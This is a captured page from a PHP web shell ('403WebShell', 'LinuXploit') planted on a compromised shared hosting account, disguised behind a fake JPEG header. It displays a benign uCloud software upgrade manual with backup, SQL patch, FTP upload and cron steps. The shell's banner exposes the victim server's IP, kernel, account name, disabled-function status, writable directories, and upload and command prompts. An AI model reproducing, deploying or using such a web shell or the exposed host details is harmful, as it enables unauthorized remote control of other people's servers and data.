����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.14.134.62
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/ner2/ucloud/install/manual/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/install/manual/upgrade.en.php
<?php

define('CRON_PATH', realpath(dirname(__FILE__).'/../../app/tasks'));
?>
<a name="top"></a>
<h2>Upgrade Existing Install - Your Current Version 2.x</h2>
<p>Use this method if you are currently using uCloud and on a version in the v2.x range.</p>
<table border=0 width="100%">
    <tbody>
    <tr>
        <td>
            <ul>
                <li><a href="#Step_10"><span>Step 1. Backup Existing Code &amp; Database.</span></a>
                <li><a href="#Step_20"><span>Step 2. Uncompress Downloaded Zip File.</span></a>
                <li><a href="#Step_30"><span>Step 3. Import Database Patches.</span></a>
                <li><a href="#Step_40"><span>Step 4. Upload Files.</span></a>
                <li><a href="#Step_50"><span>Step 5. Set Folder Permissions.</span></a>
                <li><a href="#Step_51"><span>Step 6. Purge Script Application Cache.</span></a>
                <li><a href="#Step_60"><span>Step 7. Ensure Cron Tasks Are Setup.</span></a>
            </ul>
        </td>
    </tr>
    </tbody>
</table>

<br/>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_10"></a>
<h3><b>Step 1. Backup Existing Code &amp; Database.</b></h3>
<hr>
<p><strong style="color: red;">VERY IMPORTANT!</strong> - Before you do any changes to the code at all, ensure you've
    taken a backup copy of the site, files &amp; database.</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_20"></a>
<h3><b>Step 2. Uncompress Downloaded Zip File.</b></h3>
<hr>
<p>Open the downloaded zip file on your computer and extract the files into a new folder on your desktop. If you can't
    open zip files you may need to download a zip client such as <a href='http://www.winzip.com'
                                                                    target='_blank'>WinZip</a>.</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_30"></a>
<h3><b>Step 3. Import Database Patches.</b></h3>
<hr>
<p>Within your hosting control panel, load phpMyAdmin and select your new database. In the right-hand section click on
    'import'. Attach the the relevant sql patches from the directory `/install/resources/upgrade_sql_statements/` and
    submit the form. Choose the patches between your current script version number and the latest, ensuring you do them
    in version number order.</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_40"></a>
<h3><b>Step 4. Upload Files.</b></h3>
<hr>
<p>Using an FTP client such as <a href="https://filezilla-project.org/" target="_blank">FileZilla</a>, upload the files
    from /app, /plugins & /themes to your install.</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_50"></a>
<h3><b>Step 5. Set Folder Permissions.</b></h3>
<hr>
<p>Using your FTP client, ensure CHMOD 755 permissions are set on the following folders: '/files', '/logs', '/cache'
    &amp; '/plugins'.</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_51"></a>
<h3><b>Step 6. Purge Script Application Cache.</b></h3>
<hr>
<p>Login to your script admin area. Go to "Site Configuration" => "System Tools" => "Purge Cache" and click "Purge
    Now".</p>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_60"></a>
<h3><b>Step 7. Ensure Cron Tasks Are Setup.</b></h3>
<hr>
<p><?php
    echo INSTALLER_APPLICATION_NAME; ?> uses a number of cron (background) tasks to ensure redundant files are deleted,
    accounts are auto downgraded etc. Details of these are below. You can leave these until later if you want to test
    the upgrade first. See <a href="http://www.cyberciti.biz/faq/how-do-i-add-jobs-to-cron-under-linux-or-unix-oses/"
                              target="_blank">here for more information</a> on cron tasks.</p>
<span style="font-family: courier,Consolas,monospace;">
0 0 * * * php <?php
    echo CRON_PATH; ?>/auto_prune.cron.php >> /dev/null 2>&amp;1
0 0 * * * php <?php
    echo CRON_PATH; ?>/create_internal_notifications.cron.php >> /dev/null 2>&amp;1
0 * * * * php <?php
    echo CRON_PATH; ?>/delete_redundant_files.cron.php >> /dev/null 2>&amp;1
0 0 * * * php <?php
    echo CRON_PATH; ?>/downgrade_accounts.cron.php >> /dev/null 2>&amp;1
*/5 * * * * php <?php
    echo CRON_PATH; ?>/process_file_queue.cron.php >> /dev/null 2>&amp;1
0 1 * * * php <?php
    echo CRON_PATH; ?>/create_email_notifications.cron.php >> /dev/null 2>&amp;1
</span>
<p><br/></p>

<div style="float:right;">[<a href="#top">top</a>]</div>
<a name="Step_90"></a>
<h3><b>Finished!</b></h3>
<hr>
<p>Congratulations, you've completed the upgrade! Feel free to contact us or post on our <a
            href="https://forum.mfscripts.com" target="_blank">forum</a> if you have any problems.</p>

Youez - 2016 - github.com/yon3zu
LinuXploit